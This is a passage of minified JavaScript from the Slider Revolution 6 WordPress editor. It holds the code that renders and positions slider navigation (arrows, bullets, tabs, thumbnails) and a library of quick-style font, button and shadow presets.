0!==r.style?r.style:s.style,n=RVS.nav[r.type][o],l=RVS.SLIDER.slideIDs.length>0?RVS.SLIDER.slideIDs[1]:RVS.SLIDER.slideIDs[0],d=RVS.SLIDER.slideIDs[RVS.SLIDER.slideIDs.length-1];if(void 0!==n&&void 0!==n.markup){var S=RVS.F.sanitize_input(n.handle.toLowerCase()),c=void 0!==n.css?p({color:r.color,attribute:r.attribute,type:r.type,handle:o,default:r.default}):"";if("arrows"===r.type){var u,V;e.attr("class","aable markable tparrows tp-leftarrow "+S),t.attr("class","aable markable tparrows tp-rightarrow "+S),u=V=n.markup;var y=R({id:d}),m=R({id:l});u=u.replace("##title##",void 0===RVS.SLIDER[l]?"Title":RVS.SLIDER[l].slide.title),V=V.replace("##title##",void 0===RVS.SLIDER[d]?"Title":RVS.SLIDER[d].slide.title),e.html(c+V),t.html(u),e.find(".tp-arr-imgholder").css(y),e.find(".tp-arr-imgholder").attr("id","arrows_"+d),t.find(".tp-arr-imgholder").css(m),t.find(".tp-arr-imgholder").attr("id","arrows_"+l),RVS.F.dragMe({element:e,input:{x:jQuery("#nav_arrows_left_offsetx"),y:jQuery("#nav_arrows_left_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"arrows",forms:["*navlayout*#form_nav_arrows:#sr_na_arr_12"]}),RVS.F.dragMe({element:t,input:{x:jQuery("#nav_arrows_right_offsetx"),y:jQuery("#nav_arrows_right_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"arrows",forms:["*navlayout*#form_nav_arrows:#sr_na_arr_13"]})}else if("bullets"===r.type){i.data("cname",S),i.attr("class","aable markable tp-bullets "+S+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),i.html(c);for(var f=n.markup,h=0;h<=RVS.SLIDER.slideIDs.length-1;h++){var g=RVS.SLIDER.slideIDs[h],v=f.replace("##title##",RVS.SLIDER[g].slide.title),_=0==h?"selected":"",L=jQuery('<div class="tp-bullet '+_+'">'+v+"</div>");L.find(".tp-bullet-image").css(R({id:g})).attr("id","bullets"+g),i.append(L)}RVS.F.dragMe({element:i,input:{x:jQuery("#nav_bullets_offsetx"),y:jQuery("#nav_bullets_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"bullets",forms:["*navlayout*form_nav_bullets:#sr_na_bul_11"]})}else if("tabs"===r.type||"thumbs"===r.type){r.presetChange?(s.width=void 0!==n.dim.width?n.dim.width:s.width,s.height=void 0!==n.dim.height?n.dim.height:s.height,jQuery("#nav_"+r.type+"_width").val(s.width),jQuery("#nav_"+r.type+"_height").val(s.height)):tpGS.gsap.set(a[r.type].self,{background:window.RSColor.get(s.wrapperColor)}),a[r.type].self.data("cname",S),a[r.type].inner.html(c);for(f=n.markup,h=0;h<=Math.min(s.amount,RVS.SLIDER.slideIDs.length-1);h++){g=RVS.SLIDER.slideIDs[h],v=f.replace("##title##",RVS.SLIDER[g].slide.title),_=0==h?"selected":"";for(var w=0;w<10;w++){var b=void 0!==RVS.SLIDER[g].slide.info.params[w]?RVS.SLIDER[g].slide.info.params[w].val:"";void 0!==b&&b.length>0&&(v=v.replace("##param"+w+"##",b))}var F=jQuery('<div class="'+a[r.type].single+" "+_+'">'+v+"</div>");F.find("."+a[r.type].single+"-image").css(R({id:g})).attr("id",r.type+"_"+g),a[r.type].inner.append(F)}var I="tabs"==r.type?"*navlayout*#form_nav_tabs:#sr_na_tab_11":"*navlayout*#form_nav_thumbs:#sr_na_thumb_11";RVS.F.dragMe({element:a[r.type].self,input:{x:jQuery("#nav_"+r.type+"_offsetx"),y:jQuery("#nav_"+r.type+"_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:r.type,forms:[I]})}}RVS.F.sliderNavPositionUpdate({type:r.type})}},RVS.F.sliderNavPositionUpdate=function(e){requestAnimationFrame(function(){RVS.F.sliderNavPositionUpdateRAF(e)})},RVS.F.sliderNavPositionUpdateRAF=function(r){var s=RVS.SLIDER.settings.nav[r.type];switch(r.type){case"arrows":s.set&&"hero"!==RVS.SLIDER.settings.type?(e.show(),t.show()):(e.hide(),t.hide());break;case"bullets":s.set&&"hero"!==RVS.SLIDER.settings.type?i.show():i.hide();break;case"tabs":case"thumbs":s.set&&"hero"!==RVS.SLIDER.settings.type?a[r.type].self.show():a[r.type].self.hide()}if(!1===s.set||"hero"===RVS.SLIDER.settings.type)return!1;if("arrows"===r.type)u(e,s.left),u(t,s.right);else if("bullets"===r.type)i.attr("class","aable markable tp-bullets "+i.data("cname")+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),i.find(".tp-bullet").each(function(e){var t=jQuery(this),a=RVS.SLIDER.slideIDs.length,r=t.outerWidth()+parseInt(void 0===s.space?0:s.space,0),o=t.outerHeight()+parseInt(void 0===s.space?0:s.space,0);"vertical"===s.direction?(t.css({top:e*o+"px",left:"0px"}),i.css({height:(a-1)*o+t.outerHeight(),width:t.outerWidth()})):(t.css({left:e*r+"px",top:"0px"}),i.css({width:(a-1)*r+t.outerWidth(),height:t.outerHeight()}))}),u(i,s);else if("tabs"===r.type||"thumbs"===r.type){var o=Math.min(s.amount,RVS.SLIDER.slideIDs.length),n=parseInt(s.width,0)+parseInt(s.space,0),l=parseInt(s.height,0)+parseInt(s.space,0);s.width=parseInt(s.width),s.height=parseInt(s.height),a[r.type].self.attr("class","aable markable "+a[r.type].single+"s "+a[r.type].self.data("cname")+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),tpGS.gsap.set(a[r.type].self,{padding:s.padding}),s.padding=parseInt(s.padding,0),a[r.type].inner.find("."+a[r.type].single).each(function(e){"vertical"===s.direction?tpGS.gsap.set(this,{top:e*l+"px",left:"0px",width:s.width+"px",height:s.height+"px"}):tpGS.gsap.set(this,{left:e*n+"px",top:"0px",width:s.width+"px",height:s.height+"px"})});var d="horizontal"===s.direction?s.width*o+s.space*(o-1)+parseInt(2*s.mhoffset):s.width+parseInt(2*s.mhoffset),S="horizontal"===s.direction?parseInt(s.height)+parseInt(2*s.mvoffset):s.height*o+s.space*(o-1)+parseInt(2*s.mvoffset),c={width:d+"px",height:S+"px",overwrite:"auto"},p={padding:s.mvoffset+"px "+s.mhoffset+"px",top:"auto",left:"auto",bottom:"auto",marginTop:"0px",marginBottom:"0px",right:"auto",y:"0%",x:"0px",width:d+"px",height:S+"px",overflow:"hidden",position:"relative",overwrite:"auto",marginLeft:"auto",marginRight:"auto"};if(!0===s.spanWrapper)switch(s.direction){case"horizontal":c.width=RVS.S.ulDIM.width-2*parseInt(s.padding,0)+"px",p.x=s.offsetX,p.marginLeft="center"===s.horizontal?"auto":"0px",p.marginRight="center"===s.horizontal?"auto":"0px","right"===s.horizontal&&(p.right=s.padding+"px",p.position="absolute"),"outer-bottom"===s.innerOuter?RVS.S.navOffset[r.type].bottom=parseInt(s.height,0)+2*s.padding:"outer-top"===s.innerOuter&&(RVS.S.navOffset[r.type].top=parseInt(s.height,0)+2*s.padding);break;case"vertical":c.height=RVS.S.ulDIM.height-2*parseInt(s.padding,0)+"px",p.marginTop="bottom"!==s.vertical?s.offsetY+"px":"0px",p.marginBottom="bottom"===s.vertical?-1*s.offsetY+"px":"0px","center"===s.vertical?(p.top="50%",p.y="-50%",p.position="absolute"):"bottom"===s.vertical&&(p.top="auto",p.bottom=s.padding+"px",p.position="absolute"),"outer-left"===s.innerOuter?RVS.S.navOffset[r.type].left=parseInt(s.width,0)+2*s.padding:"outer-right"===s.innerOuter&&(RVS.S.navOffset[r.type].right=parseInt(s.width,0)+2*s.padding)}tpGS.gsap.set(a[r.type].inner,{position:"relative"}),tpGS.gsap.set(a[r.type].self,c),tpGS.gsap.set(a[r.type].mask,p),u(a[r.type].self,s)}},RVS.F.saveDeleteNavPreset=function(e){var t=jQuery("#sr_"+e.type+"_style_preset").val(),i=RVS.F.sanitize_input(t),a={},r=RVS.SLIDER.settings.nav[e.type],s=RVS.nav[e.type][r.style],o="save"===e.mode?"create_navigation_preset":"delete_navigation_preset";if(""!==t&&"null"!==t&&null!==t){if("save"===e.mode){for(var n in r.presets)if(r.presets.hasOwnProperty(n)){var l=r.presets[n];if(n.indexOf("-def")>0&&("on"===l||!0===l||"true"===l)){var d=n.replace("-def","");a[d]=r.presets[d],a[n]=!0}}if(jQuery.isEmptyObject(a))return void RVS.F.showErrorMessage(RVS_LANG.no_nav_changes_done)}else"delete"===e.mode&&delete s.presets[i];var S="save"===e.mode?{navigation:r.style,name:t,handle:i,type:e.type,do_overwrite:!0,values:a}:{style_handle:r.style,handle:i,type:e.type};s.presets=void 0===s.presets||""===s.presets?{}:s.presets,"save"===e.mode&&(s.presets[t]={name:t,values:a}),RVS.F.ajaxRequest(o,S,function(e){}),c({init:!1,navobj:s,type:e.type,presetChange:!0}),r.preset="save"===e.mode?i:"default",RVS.F.setNavPresetValues({type:e.type})}else RVS.F.showErrorMessage(RVS_LANG.no_preset_name)},RVS.F.updateSlideBasedNavigationStyle=function(){"hero"!==RVS.F.type&&(RVS.SLIDER.settings.nav.arrows.set&&RVS.F.updatePresetInputs({type:"arrows",env:"slide"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.updatePresetInputs({type:"bullets",env:"slide"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.updatePresetInputs({type:"thumbs",env:"slide"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.updatePresetInputs({type:"tabs",env:"slide"}))},RVS.F.createNewNavigation=function(e){return{id:"new_"+RVS.nav.currentMaxid,name:"New "+e+" Navigation",css:"",markup:"",dim:{width:160,height:160},placeholders:{},presets:{},type:e,factory:!1,handle:"newnavclass_"+RVS.nav.currentMaxid}},RVS.F.migrateNavigation=function(e){RVS.nav=e}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR QUICK STYLE JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
RVS.LIB.QS={headlines:[{fs:32,lh:36,ff:"Indie Flower",fw:"400",ls:1},{fs:35,lh:45,ff:"Raleway",fw:"300",ls:2},{fs:46,lh:60,ff:"Shadows Into Light",fw:"400",ls:-1},{fs:36,lh:40,ff:"Roboto",fw:"500",ls:1.5},{fs:40,fst:"italic",lh:44,ff:"Raleway",fw:"800",ls:2},{fs:40,lh:50,ff:"Arial",fw:"400",ls:0},{fs:40,lh:50,ff:"Roboto",fw:"900",ls:0,tt:"uppercase"},{fs:60,lh:70,ff:"Poppins",fw:"500",ls:"-1",tt:"uppercase"},{fs:80,lh:90,ff:"Poppins",fw:"800",ls:"-4"},{fs:80,lh:90,ff:"Montserrat",fw:"200",ls:"-0.2"},{fs:100,lh:110,ff:"Montserrat",fw:"100",ls:"-6"}],headlines_color:"#fff",content_color:"#fff",content:[{fs:14,lh:24,ff:"Roboto",fw:"400",ls:1},{fs:16,lh:24,ff:"Poppins",fw:"400",ls:2},{fs:12,lh:20,ff:"Arial",fw:"400",content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vestibulum orci at leo consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore..."},{fs:15,lh:25,ff:"Montserrat",fw:"400",ls:2},{fs:13,lh:20,ff:"Open Sans",fw:"400",ls:2,tt:"uppercase"},{fs:16,lh:24,ff:"Roboto",fw:"500",ls:0},{fs:24,lh:30,ff:"Open Sans",fw:"300",ls:1,content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit"}],buttons:[{showsize:"half",fs:15,fw:"500",ff:"Roboto",lh:32,pd:["0px","20px","0px","20px"],bg:"rgba(255,255,255,1)",color:"#000000",content:"Click Here",cls:"rev-btn",hc:"rgba(255,255,255,1)",hbg:"#000000",hs:300,ease:"power3.inOut"},{showsize:"half",fs:15,fw:"500",ff:"Roboto",lh:32,pd:["0px","20px","0px","20px"],br:["16px","16px","16px","16px"],bg:"rgba(255,255,255,1)",color:"#000000",content:"Click Here",cls:"rev-btn",hc:"rgba(255,255,255,1)",hbg:"#000000",hs:300,ease:"power3.inOut"},{showsize:"half",fs:20,fw:"500",ff:"Roboto",lh:50,pd:["0px","20px","0px","20px"],bg:"rgba(0,0,0,1)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200,ease:"power1.inOut"},{showsize:"half",fs:20,fw:"500",ff:"Roboto",lh:50,pd:["0px","20px","0px","20px"],br:["25px","25px","25px","25px"],bg:"rgba(0,0,0,1)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"rgba(0,0,0,0)",bw:["1px","1px","1px","1px"],bs:"solid",bc:"rgba(255,255,255,0.35)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hbc:"rgba(255,255,255,0.75)",hc:"rgba(255,255,255,1)",hs:300,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],br:["25px","25px","25px","25px"],bw:["1px","1px","1px","1px"],bs:"solid",bc:"rgba(255,255,255,0.35)",bg:"rgba(0,0,0,0)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hbc:"rgba(255,255,255,0.75)",hc:"rgba(255,255,255,1)",hs:300,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"#007aff",color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power3.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"#007aff",color:"#ffffff",br:["25px","25px","25px","25px"],content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power3.inOut"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bg:"#007aff",br:["3px","3px","3px","3px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:100,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut"},{fs:20,fw:"500",ff:"Roboto",lh:55,pd:["0px","50px","0px","50px"],bg:"#007aff",br:["3px","3px","3px","3px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:100,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bxb:"20px",bxc:"#461d7d",bxv:"5px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}"},{fs:20,fw:"500",ff:"Roboto",lh:60,pd:["0px","60px","0px","60px"],bxb:"20px",bxc:"#461d7d",bxv:"5px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bxb:"20px",bxc:"rgba(0,0,0,0.25)",bxv:"10px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}"},{fs:20,fw:"500",ff:"Roboto",lh:60,pd:["0px","60px","0px","60px"],bxb:"20px",bxc:"rgba(0,0,0,0.25)",bxv:"10px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}"},{fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["12px","35px","12px","35px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:14,ff:"Roboto",lh:18,ls:1,tt:"uppercase",pd:["10px","30px","10px","30px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:12,ff:"Roboto",lh:14,ls:1,tt:"uppercase",pd:["8px","20px","8px","20px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["12px","35px","12px","35px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:14,ff:"Roboto",lh:18,ls:1,tt:"uppercase",pd:["10px","30px","10px","30px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:12,ff:"Roboto",lh:14,ls:1,tt:"uppercase",pd:["8px","20px","8px","20px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here <i class="fa-chevron-right"></i>',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["2px","2px","2px","2px"],color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["2px","2px","2px","2px"],color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bg:"#333333",color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-light"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],bg:"#fff",color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-dark"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-dark"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],bg:"#333",color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-light"},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#3B5998",color:"#ffffff",content:'<i class="fa-facebook-f"></i>',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#FD1D1D",color:"#ffffff",content:'<i class="fa-instagram"></i>',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#00A0D1",color:"#ffffff",content:'<i class="fa-twitter"></i>',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-envelope"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#333333",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"#ffffff",color:"#333333",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-pause"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#333333",content:'<i class="fa-pause"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-pause"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"#ffffff",color:"#333333",content:'<i class="fa-pause"></i>',cls:""}],shadows:[{showsize:"half",box_hoff:"0px",box_voff:"0px",box_blur:"0px",box_spread:"0px",box_color:"rgba(0,0,0,0.5)",box_inset:!1},{showsize:"half",box_hoff:"5px",box_voff:"0px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.25)",box_inset:!1},{showsize:"half",box_hoff:"0px",box_voff:"10px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.25)",box_inset:!1},{showsize:"half",box_hoff:"5px",box_voff:"5px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.15)",box_inset:!1},{showsize:"half",text_hoff:"7px",text_voff:"7px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"5px",text_voff:"0px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"0px",text_voff:"10px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"15px",text_voff:"15px",text_blur:"20px",text_color:"rgba(0,0,0,0.45)"}]},RVS.LIB.QS_CONT={headlines:"Headline",content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vestibulum orci at leo..."},function(){function e(e){return e.ls=void 0===e.ls?0:e.ls,e.fw=void 0===e.fw?400:e.fw,e.fst=void 0===e.fst?"normal":e.fst,e.pd=void 0===e.pd?["0px","0px","0px","0px"]:e.pd,e.br=void 0===e.br?["0px","0px","0px","0px"]:e.br,e.bg=void 0===e.bg?"transparent":e.bg,e.bs=void 0===e.bs?"none":e.bs,e.tt=void 0===e.tt?"none":e.tt,e}function t(e,t){var 